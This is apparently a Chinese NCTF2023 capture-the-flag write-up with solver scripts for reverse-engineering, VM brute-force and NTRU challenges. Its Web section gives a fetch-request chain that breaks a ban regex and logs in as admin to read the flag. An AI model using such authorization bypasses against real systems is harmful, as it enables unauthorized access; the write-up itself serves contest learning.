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NCTF2023

Tue Dec 26 2023

目录

Reverse

中文编程 1

# from z3 import *

# # 创建11个实数变量
# v = [Real(f'v{i}') for i in range(1, 12)]

# # 创建表达式1
# expression1 = (
#     v[0] * 52.0 +
#     v[1] * 93.0 +
#     v[2] * 15.0 +
#     v[3] * 72.0 +
#     v[4] * 61.0 +
#     v[5] * 21.0 +
#     v[6] * 83.0 +
#     v[7] * 87.0 +
#     v[8] * 75.0 +
#     v[9] * 75.0 +
#     v[10] * 88.0
# ) - 7.86241466532e11

# # 创建表达式2
# expression2 = (
#     v[0] * 24.0 +
#     v[1] * 3.0 +
#     v[2] * 22.0 +
#     v[3] * 53.0 +
#     v[4] * 2.0 +
#     v[5] * 88.0 +
#     v[6] * 30.0 +
#     v[7] * 38.0 +
#     v[8] * 2.0 +
#     v[9] * 64.0 +
#     v[10] * 60.0
# ) - 3.76271212978e11

# # 创建表达式3
# expression3 = (
#     v[0] * 21.0 +
#     v[1] * 33.0 +
#     v[2] * 76.0 +
#     v[3] * 58.0 +
#     v[4] * 22.0 +
#     v[5] * 89.0 +
#     v[6] * 49.0 +
#     v[7] * 91.0 +
#     v[8] * 59.0 +
#     v[9] * 42.0 +
#     v[10] * 92.0
# ) - 6.47642467922e11

# # 创建表达式4
# expression4 = (
#     v[0] * 60.0 +
#     v[1] * 80.0 +
#     v[2] * 15.0 +
#     v[3] * 62.0 +
#     v[4] * 62.0 +
#     v[5] * 47.0 +
#     v[6] * 62.0 +
#     v[7] * 51.0 +
#     v[8] * 55.0 +
#     v[9] * 64.0 +
#     v[10] * 3.0
# ) - 6.70839740597e11

# # 创建表达式5
# expression5 = (
#     v[0] * 51.0 +
#     v[1] * 7.0 +
#     v[2] * 21.0 +
#     v[3] * 73.0 +
#     v[4] * 39.0 +
#     v[5] * 18.0 +
#     v[6] * 4.0 +
#     v[7] * 89.0 +
#     v[8] * 60.0 +
#     v[9] * 14.0 +
#     v[10] * 9.0
# ) - 5.49200140865e11

# # 创建表达式6
# expression6 = (
#     v[0] * 90.0 +
#     v[1] * 53.0 +
#     v[2] * 2.0 +
#     v[3] * 84.0 +
#     v[4] * 92.0 +
#     v[5] * 60.0 +
#     v[6] * 71.0 +
#     v[7] * 44.0 +
#     v[8] * 8.0 +
#     v[9] * 47.0 +
#     v[10] * 35.0
# ) - 6.6473011328e11

# # 创建表达式7
# expression7 = (
#     v[0] * 78.0 +
#     v[1] * 81.0 +
#     v[2] * 36.0 +
#     v[3] * 50.0 +
#     v[4] * 4.0 +
#     v[5] * 2.0 +
#     v[6] * 6.0 +
#     v[7] * 54.0 +
#     v[8] * 4.0 +
#     v[9] * 54.0 +
#     v[10] * 93.0
# ) - 4.76762422687e11

# # 创建表达式8
# expression8 = (
#     v[0] * 63.0 +
#     v[1] * 18.0 +
#     v[2] * 90.0 +
#     v[3] * 44.0 +
#     v[4] * 34.0 +
#     v[5] * 74.0 +
#     v[6] * 62.0 +
#     v[7] * 14.0 +
#     v[8] * 95.0 +
#     v[9] * 48.0 +
#     v[10] * 15.0
# ) - 6.44352175854e11

# # 创建表达式9
# expression9 = (
#     v[0] * 72.0 +
#     v[1] * 78.0 +
#     v[2] * 87.0 +
#     v[3] * 62.0 +
#     v[4] * 40.0 +
#     v[5] * 85.0 +
#     v[6] * 80.0 +
#     v[7] * 82.0 +
#     v[8] * 53.0 +
#     v[9] * 24.0 +
#     v[10] * 26.0
# ) - 7.87224288556e11

# expression10 = (
#     v[0] * 89.0 +
#     v[1] * 60.0 +
#     v[2] * 41.0 +
#     v[3] * 29.0 +
#     v[4] * 15.0 +
#     v[5] * 45.0 +
#     v[6] * 65.0 +
#     v[7] * 89.0 +
#     v[8] * 71.0 +
#     v[9] * 9.0 +
#     v[10] * 88.0
# ) - 6.67891172792e11

# # 创建表达式11
# expression11 = (
#     v[0] +
#     v[1] * 8.0 +
#     v[2] * 88.0 +
#     v[3] * 63.0 +
#     v[4] * 11.0 +
#     v[5] * 81.0 +
#     v[6] * 8.0 +
#     v[7] * 35.0 +
#     v[8] * 35.0 +
#     v[9] * 33.0 +
#     v[10] * 5.0
# ) - 4.17587420064e11

# # 添加约束
# constraint = And(expression1 >= 0.0, expression1 < 0.0000001,
#                  expression2 >= 0.0, expression2 < 0.0000001,
#                  expression3 >= 0.0, expression3 < 0.0000001,
#                  expression4 >= 0.0, expression4 < 0.0000001,
#                  expression5 >= 0.0, expression5 < 0.0000001,
#                  expression6 >= 0.0, expression6 < 0.0000001,
#                  expression7 >= 0.0, expression7 < 0.0000001,
#                  expression8 >= 0.0, expression8 < 0.0000001,
#                  expression9 >= 0.0, expression9 < 0.0000001,
#                  expression10 >= 0.0, expression10 < 0.0000001,
#                  expression11 >= 0.0, expression11 < 0.0000001)

# # 创建求解器
# solver = Solver()
# solver.add(constraint)

# # 检查约束是否有解
# result = solver.check()

# # 获取解决方案
# if result == sat:
#     model = solver.model()
#     solution = [model[v[i]].as_decimal(12) for i in range(11)]
#     print(f'Solution found: {solution}')
# else:
#     print('No solution found.')

data = ['1734437990', '825569659', '858875191', '1700867381', '875389793', '761606705', '879060537', '1664170285', '1664233572', '959592504', '32048']
for a in data:
    print(int(a).to_bytes(4,'little').decode(),end='')

Jvav

a = "\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD1711\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17"

table = ["\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05", "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17", "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28", "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25", "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C", "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43", "\uD83E\uDD11", "\uD83D\uDE32", "11", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22", "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30", "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"]

data = []
for i in range(64):
    data.append(table.index(a[2*i:2*i+2]))

s = ''
for i in range(64):
    tmp = bin(data[i])[2:].rjust(6,'0')
    s += tmp[-2:]+tmp[:4]

flag = []
for i in range(len(s)//8):
    flag.append(int(s[8*i:8*(i+1)],2)^51)

print(bytes(flag))
# b'8a973b923-68bf-430f-b42a-a7a1472bcb49}pgu\x01\x03\x01\x00}pg'

根据长度猜测 flag

img

中文编程 2

# # print(hex(3961810693))
# # print(hex(3854135440))

# # 0x5c940f05
# # 0xeeb27690

# v26 = 0x77A01F25
# v27 = 0xEA721C14
# v32 = 0xEEB27690
# v33 = 0x5C940F05
# def to_quaternary(n):
#     if n == 0:
#         return '0'

#     quaternary_digits = ''
#     while n:
#         quaternary_digits = str(n % 4) + quaternary_digits
#         n //= 4

#     return quaternary_digits

# decimal_number = 42
# quaternary_representation = to_quaternary(decimal_number)
# print(f'v26={v26}')
# print(f'v27={v27}')
# print(f'v32={v32}')
# print(f'v33={v33}')

1,8,2,16,4

def dec(num,key):
    mask = 0
    for a in range(0,32,2*key):
        mask <<= 2 * key
        mask |= (1 << key) - 1
    xkey = (num[0] & mask) ^ ((num[1] >> key) & mask)
    num[0] = num[0] ^ xkey
    num[1] = num[1] ^ (xkey<<key)
    return num
    # print(hex(mask))
    # data[0]
    # return data

from z3 import *

def find_v16_v17(v23_val, v24_val):
    # 创建位向量（32位整数）用于表示v16和v17
    v16 = BitVec('v16', 32)
    v17 = BitVec('v17', 32)

    # 定义v21, v22, v23, v24的计算公式
    v21 = (LShR(v16, 1) | (v16 << 31)) & 0xFFFFFFFF
    v22 = (v17 ^ v21) & 0xAAAAAAAA
    v23 = v22 ^ v21
    v24 = ((v22 ^ v17) >> 1) | ((v22 ^ v17) << 31)

    # 创建一个求解器实例
    s = Solver()

    # 向求解器添加约束条件
    s.add(v23 == v23_val)
    s.add(v24 == v24_val)

    # 求解
    if s.check() == sat:
        m = s.model()
        result_v16 = m[v16].as_long()
        result_v17 = m[v17].as_long()
        return (result_v16, result_v17)
    else:
        print("No solution found")
        return "No solution found"

def dec2(num):
    key = [
        356323847, 151527228, 740767546, 540020281, 654839353, 104150809, 555494916
        ,823934770, 319498556, 556078630, 639713067, 1026032150, 571424011, 103423007
        ,742130971, 84753163, 254942750, 553779999, 503389954, 574371119, 588255527
        ,203171627, 288106789, 540945213, 723531839, 723597618, 574166844, 841619515
        ,974788401, 119026972, 218248763, 354814246
    ]
    dword_AD0FFC = [2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064
,69208066, 2097152, 0, 67108866, 2, 67108864, 69206018, 2050
,67110912, 2099202, 2097154, 67110912, 67108866, 69206016, 69208064, 2097154
,69206016, 2048, 2050, 69208066, 2099200, 2, 67108864, 2099200
,67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2
,2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064
,2050, 67108866, 69208066, 69206016, 2099200, 0, 2, 69208066
,0, 2099202, 69206016, 2048, 67108866, 67110912, 2048, 2097154]
    index = 32
    dword_AD0DFC = [256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720
        ,1074266368, 524288, 33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824
        ,33554432, 1074266112, 1074266112, 0, 1073742080, 1107820800, 1107820800, 33554688
        ,1107820544, 1073742080, 0, 1107296256, 34078976, 33554432, 1107296256, 524544
        ,524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368
        ,33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544
        ,1107820800, 524544, 1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256
        ,524544, 33554688, 1073742080, 524288, 0, 1074266112, 34078976, 1073742080]
    dword_AD0BFC = [520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240
        ,131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520
        ,134217728, 8, 134349312, 512, 131584, 134348800, 134348808, 131592
        ,134218248, 131584, 131072, 134218248, 8, 134349320, 512, 134217728
        ,134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0
        ,512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808
        ,134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736
        ,134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584]

    DES_sbox_AD09FC = [ 16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536
,1024, 16843776, 16843780, 1024, 16778244, 16842756, 16777216, 4
,1028, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244
,65540, 16777220, 16777220, 65540, 0, 1028, 66564, 16777216
,65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024
,16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564
,16843780, 65540, 16842752, 16778244, 16777220, 1028, 66564, 16843776
,1028, 16778240, 16778240, 0, 65540, 66560, 0, 16842756]

    dword_AD10FC = [268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456
        ,262208, 268697600, 268701760, 266240, 268701696, 266304, 4096, 64
        ,268697600, 268435520, 268439552, 4160, 266240, 262208, 268697664, 268701696
        ,4160, 0, 0, 268697664, 268435520, 268439552, 266304, 262144
        ,266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304
        ,268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616
        ,0, 268701760, 262208, 268435520, 268697600, 268439552, 268439616, 0
        ,268701760, 266240, 266240, 4160, 4160, 262208, 268435456, 268701696]
    dword_AD0EFC = [536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304
        ,536887296, 4210704, 4194304, 536870928, 4194320, 536887296, 536870912, 16400
        ,0, 4194320, 536887312, 16384, 4210688, 536887312, 16, 541065232
        ,541065232, 0, 4210704, 541081600, 16400, 4210688, 541081600, 536870912
        ,536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928
        ,4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216
        ,4210704, 541081600, 0, 541065232, 16, 16384, 541065216, 4210704
        ,16384, 4194320, 536887312, 0, 541081600, 536870912, 4194320, 536887312]
    dword_AD0CFC = [8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193
,0, 8396800, 8396800, 8396929, 129, 0, 8388736, 8388609
,1, 8192, 8388608, 8396801, 128, 8388608, 8193, 8320
,8388737, 1, 8320, 8388736, 8192, 8396928, 8396929, 129
,8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800
,8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128
,8396929, 129, 1, 8192, 8388609, 8193, 8396928, 8388737
,8193, 8320, 8388608, 8396801, 128, 8388608, 8192, 8396928]
    dword_AD0AFC = [2148565024, 2147516416, 32768, 1081376, 1048576, 32, 2148532256, 2147516448
,2147483680, 2148565024, 2148564992, 2147483648, 2147516416, 1048576, 32, 2148532256
,1081344, 1048608, 2147516448, 0, 2147483648, 32768, 1081376, 2148532224
,1048608, 2147483680, 0, 1081344, 32800, 2148564992, 2148532224, 32800
,0, 1081376, 2148532256, 1048576, 2147516448, 2148532224, 2148564992, 32768
,2148532224, 2147516416, 32, 2148565024, 1081376, 32, 32768, 2147483648
,32800, 2148564992, 1048576, 2147483680, 1048608, 2147516448, 2147483680, 1048608
,1081344, 0, 2147516416, 32800, 2147483648, 2148532256, 2148565024, 1081344]
    for a in range(8):
        v20 = key[index -2] ^ (((num[1] >> 4) | (num[1] << 28))&0xffffffff)

        num[0] ^= dword_AD0FFC[v20 & 0x3F] | dword_AD0DFC[(v20 >> 8) & 0x3F] | dword_AD0BFC[(v20 >> 16) & 0x3F] | DES_sbox_AD09FC[(v20 >> 24) & 0x3F] | dword_AD10FC[(num[1] ^ key[index - 1]) & 0x3F] | dword_AD0EFC[((num[1] ^ key[index - 1]) >> 8) & 0x3F] | dword_AD0CFC[((num[1] ^ key[index - 1]) >> 16) & 0x3F] | dword_AD0AFC[((num[1] ^ key[index - 1]) >> 24) & 0x3F]
        v19 = key[index-4] ^ (((num[0] >> 4) | (num[0] << 28)) &0xffffffff)
        num[1] ^= (dword_AD0FFC[v19 & 0x3F]&0xffffffff) | (dword_AD0DFC[((key[index-4] ^ ((num[0] >> 4) | (num[0] << 28))) >> 8) & 0x3F]&0xffffffff) | (dword_AD0BFC[(v19 >> 16) & 0x3F]&0xffffffff) | (DES_sbox_AD09FC[(v19 >> 24) & 0x3F]&0xffffffff) | (dword_AD10FC[(num[0] ^ key[index - 3]) & 0x3F]&0xffffffff) | (dword_AD0EFC[((num[0] ^ key[index - 3]) >> 8) & 0x3F]&0xffffffff) | (dword_AD0CFC[((num[0] ^ key[index - 3]) >> 16) & 0x3F]&0xffffffff) | (dword_AD0AFC[((num[0] ^ key[index - 3]) >> 24) & 0x3F]&0xffffffff)
        index -= 4
        # print(f'v16=>{hex(num[0])}')
        # print(f'v17=>{hex(num[1])}')
    return num

def dec111(num):
    data = num
    mask1 = 0xAAAAAAAA
    mask2 = 0x55555555
    tmp = (num[1]>>1)|(num[1]<<31)
    # num[1] = (num[1]>>1)|(num[1]<<31)

    num[1] = tmp&mask1 | num[0]&mask2
    num[0] = tmp&mask2 | num[0]&mask1
    num[1] = ((num[1]>>1)|(num[1]<<31) & 0xffffffff)

    return num

def dec222(num):
    data = num
    mask1 = 0xAAAAAAAA
    mask2 = 0x55555555
    tmp = (num[1]>>31)|(num[1]<<1)
    # num[1] = (num[1]>>1)|(num[1]<<31)

    num[1] = tmp&mask1 | num[0]&mask2
    num[0] = tmp&mask2 | num[0]&mask1
    num[1] = ((num[1]>>31)|(num[1]<<1) & 0xffffffff)

    return num

def find_v16_v17_1(v23_val, v24_val):
    # 创建位向量（32位整数）用于表示v16和v17
    v16 = BitVec('v16', 32)
    v17 = BitVec('v17', 32)

    # 定义v21, v22, v23, v24的计算公式
    v21 = ((v16 << 1) | (v16 >> 31)) & 0xFFFFFFFF
    v22 = (v17 ^ v21) & 0xAAAAAAAA & 0xFFFFFFFF
    v23 = v22 ^ v21 & 0xFFFFFFFF
    v24 = ((v22 ^ v17) << 1) | ((v22 ^ v17) >> 31) & 0xFFFFFFFF

    # 创建一个求解器实例
    s = Solver()

    # 向求解器添加约束条件
    s.add(v23 == v23_val)
    s.add(v24 == v24_val)

    # 求解
    if s.check() == sat:
        m = s.model()
        result_v16 = m[v16].as_long()
        result_v17 = m[v17].as_long()
        return (result_v16, result_v17)
    else:
        return "No solution found"


def dec1(data):
    data = dec(data,4)
    # for a in data:
    #     print(hex(a))
    # print('**********************')
    data = dec(data,16)
    # for a in data:
    #     print(hex(a))
    # print('**********************')
    tmp = data[1]
    data[1] = data[0]
    data[0] = tmp
    data = dec(data,2)

    data = dec(data,8)

    data = dec222(data)
    tmp = data[1]
    data[1] = data[0]
    data[0] = tmp
    for a in data:
        print(hex(a))
    print('**********************')
    return data

def dec0(data):
    # data = list(find_v16_v17_1(data[0], data[1]))
    data = dec111(data)

    # tmp = data[1]
    # data[1] = data[0]
    # data[0] = tmp
    data = dec(data,8)
    # for a in data:
    #     print(hex(a))
    # print('**********************')
    data = dec(data,2)
    tmp = data[1]
    data[1] = data[0]
    data[0] = tmp
    data = dec(data,16)
    data = dec(data,4)
    return data

key = [128, 204, 119, 27, 137, 150, 212, 244, 159, 59, 53, 104, 92, 109, 9, 223, 8, 117, 55, 35, 250, 31, 182, 100, 23, 139, 165, 136, 28, 191, 212, 198, 2, 1, 226, 12, 139, 3, 55, 228, 117, 181, 25, 251, 222, 153, 172, 62]
# data = [
# 108, 232, 24, 30, 108, 47, 164, 100
# ]
# data = [
#   229, 197, 253,   3,  51, 150, 241, 230, 122,  46,
#    16, 244,  18,  74, 174,   5, 177, 155,   9, 239,
#    63,  64,  68,  55, 249,  82, 107, 108,   5, 218,
#   222, 174,  56, 147, 206, 197, 174, 247, 114, 248,
#    58,  25, 177,  60, 143,   4, 129,  42
# ]
# for a in range(len(data)):
#     data[a] ^= key[a]
# print(data)

ans = b''
raw = [      229, 197, 253,   3,  51, 150, 241, 230, 117, 131,
  166,   7, 224, 148, 243,  11, 172,  94, 148, 110,
  173,  13,  58,  38, 167, 102,  31, 111, 215,  83,
  177, 198,  24, 115, 215,   9, 249, 133, 146,   6,
  214, 126, 106,  71,  82,   4,  84, 114]
for a in range(len(raw)):
    raw[a] ^= key[a]
for a in range(0,48,8):
    data = [int.from_bytes(bytes(raw[a+4:a+8]),'big'),int.from_bytes(bytes(raw[a+0:a+4]),'big')]
    for b in data:
        print(hex(b))
    data = list(dec1(data))
    data = dec2(data)
    data = dec0(data)
    ans += data[1].to_bytes(4,'big') + data[0].to_bytes(4,'big')
    print(ans.hex())
    print('**********************')

ans = list(ans[4:])
for a in range(len(ans)):
    ans[a] ^= key[a]
ans = bytes(ans)
print(ans)

ezVM

爆破

opcode = [0x55, 0xEB, 0x8C, 0x63, 0x46, 0xCF, 0x83, 0x81, 0x14, 0x32, ......]

def vm(flag):
    buffer = [0]*257
    v3 = 0
    i = 0
    v5 = 0x100
    while 1:
        if opcode[i] == 0xb:
            v5 = v5 + 8
            i += 1
        elif opcode[i] == 0xc:
            v5 -= 2
            buffer[v5+1] = opcode[i+1]
            buffer[v5+2] = opcode[i+2]
            i += 3
        elif opcode[i] == 0xe:
            v5 -= 1
            buffer[v5+1] = buffer[v5+2]
            i += 1
        elif opcode[i] == 0x19:
            # print(f"return")
            return tmp
            # break
        elif opcode[i] == 0x32:
            v5 -= 1
            buffer[v5+1] = opcode[i+1]
            i += 2
        elif opcode[i] == 0x49:
            buffer[v5+2] = ~buffer[v5+2]
            i += 1
        elif opcode[i] == 0x71:
            buffer[v5+2] &= buffer[v5+1]
            v5 += 1
            i += 1
        elif opcode[i] == 0x72:
            buffer[v5+1] = ~buffer[v5+1]
            i += 1
        elif opcode[i] == 0x7b:
            v14 = buffer[v5+1]
            i += 1
            # print(f"input")
        elif opcode[i] == 0x7c:
            v5 = v5 - 2
            buffer[v5+1] = buffer[v5+3]
            buffer[v5+2] = buffer[v5+4]
            i += 1
        elif opcode[i] == 0x8d:
            # print(v5)
            i += 1
            if not buffer[v5+1]:
                tmp = i
                # print(i,end='\t')
                i = buffer[v5+2] | buffer[v5+3]<<8 | buffer[v5+4]<<16 | buffer[v5+5]<<24
                # print("jmp:\t",i)
            v5 += 5
        elif opcode[i] == 0x8e:
            v5 += 2
            i += 1
        elif opcode[i] == 0x91:
            v5 = v5-4
            buffer[v5+1] = opcode[i+1]
            buffer[v5+2] = opcode[i+2]
            buffer[v5+3] = opcode[i+3]
            buffer[v5+4] = opcode[i+4]
            i += 5
        elif opcode[i] == 0x99:
            v5 += 4
            i += 1
        elif opcode[i] == 0xad:
            v5 -= 1
            buffer[v5+1] = v3
            i += 1
        elif opcode[i] == 0xb5:
            if buffer[v5+1]:
                buffer[v5+1] = 1
            i += 1
        elif opcode[i] == 0xb7:
            v3 = buffer[v5+1]
            v5 += 1
            i += 1
        elif opcode[i] == 0xb8:
            # print(f"mov buffer {buffer[v5+1]}  {flag[buffer[v5+1]]}")
            buffer[v5+1] = ord(flag[buffer[v5+1]])
            i += 1
        elif opcode[i] == 0xd3:
            v5 = v5-8
            buffer[v5+1] = opcode[i+1]
            buffer[v5+2] = opcode[i+2]
            buffer[v5+3] = opcode[i+3]
            buffer[v5+4] = opcode[i+4]
            buffer[v5+5] = opcode[i+5]
            buffer[v5+6] = opcode[i+6]
            buffer[v5+7] = opcode[i+7]
            buffer[v5+8] = opcode[i+8]
            i += 9
        elif opcode[i] == 0xea:
            v5 += 1
            i += 1
        elif opcode[i] == 0xfb:
            v11 = opcode[i+1]
            v13 = v11^opcode[i+2]
            v12 = 0
            if v13:
                while v12<v13:
                    print(chr(v11^buffer[v13+v5-v12]),end='')
                    v12 += 1
            print()
            v5 = v13 + v5
            i += 3
        elif opcode[i] == 0xff:
            v17 = buffer[v5+1]
            if v17 == 1:
                buffer[v5 + 1] = 0
            else:
                buffer[v5 + 1] = 1
            i += 1
        else:
            # print('1111')
            i += 1

table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_@!#$%^&*/,.<>;:"
right_str = 'flag{O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa'
# O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa
rightnum = len(right_str)
while rightnum<38:
    l = []
    for i in table:
        f = right_str + i + 'a'*(44-2-rightnum) + '}'
        tmp = vm(f)
        l.append(tmp)
    if max(l)==min(l):
        print(l)
        print('Wrong!')
        break
    else:
        right_str += table[l.index(max(l))]
        rightnum += 1
    print(right_str)

# for i in table:
#     f = right_str + i + 'a'*(44-2-rightnum) + '}'
#     print(f)
#     tmp = vm(f)
#     print()

Web

Wait What?

只需要绕过正则匹配，in 关键字匹配键，不需要管。

因为 build_banned_users_regex()会在每次请求前，更新封禁用户正则信息，添加 banner 时使其抛出 error 即可不更新正则信息。

然后利用 lastindex 绕过正则即可

// 添加对象
fetch("/api/ban_user", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    username: "user",
    password: "user",
    ban_username: { a: 1 },
  }),
});

fetch("/api/login", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ username: "admin", password: "admin" }),
});

fetch("/api/flag", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ username: "admin", password: "admin" }),
})
  .then((flagRes) => flagRes.text())
  .then((flag) => console.log(flag));

img

Crypto

Sign

多项式 NTRU，找一个解密函数，set 一下 key 直接解密就行。

# Sage
from Crypto.Util.number import *

class NTRU:
    def __init__(self, N, p, q, d):
        self.debug = False

        assert q > (6*d+1)*p
        assert is_prime(N)
        assert gcd(N, q) == 1 and gcd(p, q) == 1
        self.N = N
        self.p = p
        self.q = q
        self.d = d

        self.R_ = PolynomialRing(ZZ, 'x')
        self.Rp_ = PolynomialRing(Zmod(p), 'xp')
        self.Rq_ = PolynomialRing(Zmod(q), 'xq')
        x = self.R_.gen()
        xp = self.Rp_.gen()
        xq = self.Rq_.gen()
        self.R = self.R_.quotient(x ^ N - 1, 'y')
        self.Rp = self.Rp_.quotient(xp ^ N - 1, 'yp')
        self.Rq = self.Rq_.quotient(xq ^ N - 1, 'yq')

        self.RpOrder = self.p ^ self.N - self.p
        self.RqOrder = self.q ^ self.N - self.q
        self.sk, self.pk = self.keyGen()

    def T(self, d1, d2):
        assert self.N >= d1+d2
        t = [1]*d1 + [-1]*d2 + [0]*(self.N-d1-d2)
        shuffle(t)
        return self.R(t)

    def lift(self, fx):
        mod = Integer(fx.base_ring()(-1)) + 1
        return self.R([Integer(x)-mod if x > mod//2 else x for x in list(fx)])

    def keyGen(self):
        fx = self.T(self.d+1, self.d)
        gx = self.T(self.d, self.d)

        Fp = self.Rp(list(fx)) ^ (-1)
        assert pow(self.Rp(list(fx)), self.RpOrder-1) == Fp
        assert self.Rp(list(fx)) * Fp == 1

        Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
        assert self.Rq(list(fx)) * Fq == 1

        hx = Fq * self.Rq(list(gx))

        sk = (fx, gx, Fp, Fq, hx)
        pk = hx
        return sk, pk

    def getKey(self):
        ssk = (
            self.R_(list(self.sk[0])),
            self.R_(list(self.sk[1]))
        )
        spk = self.Rq_(list(self.pk))
        return ssk, spk

    def setKey(self, fx, gx):
     # emmm

        try:
            fx = self.R(fx)
            gx = self.R(gx)

            Fp = self.Rp(list(fx)) ^ (-1)
            Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
            hx = Fq * self.Rq(list(gx))

            self.sk = (fx, gx, Fp, Fq, hx)
            self.pk = hx
            return True
        except:
            return False

    def pad(self, msg):
        pad_length = self.N - len(msg)
        msg += [-1 for _ in range(pad_length)]
        return msg

    def encode(self, msg):
        result = []
        for i in msg:
            result += [int(_) for _ in bin(i)[2:].zfill(8)]
        if len(result) < self.N:
            result = self.pad(result)
        result = self.R(result)
        return result

    def encrypt(self, m):
        # m = self.encode(m)
        assert self.pk != None
        hx = self.pk
        mx = self.R(m)
        mx = self.Rp(list(mx))
        mx = self.Rq(list(mx))

        rx = self.T(self.d, self.d)
        rx = self.Rq(list(rx))

        e = self.p * rx * hx + mx
        return list(e)

    def decrypt(self, e):
        fx, gx, Fp, Fq, hx = self.sk

        e = self.Rq(e)
        ax = self.Rq(list(fx)) * e
        a = self.lift(ax)                   # center lift
        bx = Fp * self.Rp(list(a))
        b = self.lift(bx)
        print(list(b))
        # return bx
        return str(self.R_(list(b)))

if __name__ == '__main__':
